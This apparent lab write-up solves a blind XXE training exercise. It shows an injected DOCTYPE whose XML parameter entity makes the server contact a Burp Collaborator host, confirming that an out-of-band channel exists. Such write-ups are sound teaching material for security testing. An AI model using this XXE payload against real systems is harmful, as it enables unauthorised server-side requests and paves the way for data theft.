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# lab-3

## Blind XXE with Out-of-Band Interaction via XML Parameter Entities

**Difficulty:** Practitioner

### Lab Description

This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values in the response, and blocks requests containing regular external entities.

**Objective:** Use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

### Solution

**Step 1 — Locate the vulnerable request**

Navigate to:

```
https://your-lab-id.web-security-academy.net/product?productId=1
```

Click **Check stock**, then intercept the request in Burp Suite. You'll see an XML body like this:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 2 — Inject a parameter entity pointing to Burp Collaborator**

Since regular external entities are blocked, use an XML *parameter* entity instead (declared with `%` and only valid inside the DTD itself). Insert this `DOCTYPE` before `<stockCheck>`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://your-collaborator-id.oastify.com"> %xxe; ]>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 3 — Confirm the interaction**

Send the request, then check the **Burp Collaborator client**. A DNS lookup and HTTP request from the lab server confirms the blind XXE was successfully triggered.

### Conclusion

Even though the application doesn't reflect external entity values and blocks general entities, parameter entities are processed independently within the DTD, providing an out-of-band channel to confirm blind XXE.


---

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